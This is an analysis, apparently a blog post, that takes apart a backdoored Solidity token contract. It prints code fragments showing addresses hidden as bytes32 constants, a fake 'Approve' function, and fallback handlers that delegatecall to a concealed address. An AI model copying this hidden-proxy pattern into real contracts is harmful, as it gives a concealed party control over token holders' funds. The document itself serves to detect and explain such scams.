It has several "clues" that aren't wrong by themselves but together they are the wrong indicators.
Declaring constants as bytes32 but using them as addresses: ACCESS_SETUP
, ACCESS_REVOKE
.
bytes32 private constant ACCESS_SETUP = 0x7c7658359fac0e747929ae9082329b3ce1794a825fcd4acfc143d8898b59ed76;
bytes32 private constant ACCESS_REVOKE = 0xc55bf67f5c17582acfa13ccf23a15a374b0f5f20625b7d53666df1fe82b2916f;
constructor() public payable {
_setupRole(0, address(uint160(uint256(ACCESS_SETUP))));
_revokeRole(0, address(uint160(uint256(ACCESS_REVOKE))));
}
There's nothing wrong with the code but declaring them as address will save some gas. Unless you want to hide those addresses!!
Suspicious name for a function. In the EIP-20 specification function names are lower case, only events use upper case. There is an Approve()
function that mentions ERC-20 in the comments but such function isn't part of the standard.
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function Approve(address spender, uint256 amount) public virtual safeCheck returns (bool) {
__approve(_msgSender(), spender, amount);
return true;
}
Using assembly unnecessarily. Some proxy contracts use this access pattern to store the target address.
function referee() internal view returns (address user) {
assembly { user := sload(CTRL) }
}
function accessRole() internal view virtual returns (address user) {
assembly {
user := sload(ACCESS)
}
}
Now the smoking gun. For some reason the fallback and receive execute a grant()
function.
fallback() external payable { grant(); }
receive() external payable { grant(); }
It doesn't make much sense for a token to have a fallback function, unless it is hiding a proxy!
It tries innocently to hide the call to getRoleReferee(accessRole())
. Remember that accessRole()
access some storage slot using assembly.
function grant() internal {
require(msg.sender != referee()); getRoleReferee(accessRole());
}
The getRoleReferee
doesn't look like a getter at all.
function getRoleReferee(address user) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let roleReferee := delegatecall(gas(), user, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch roleReferee
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
Conclusion if you join all of this together the contracts allow a privileged account referee()
to execute a contract accessRole()
with full access to the contract's storage.
The contract can be changed by calling the not so innocent Approve()
function.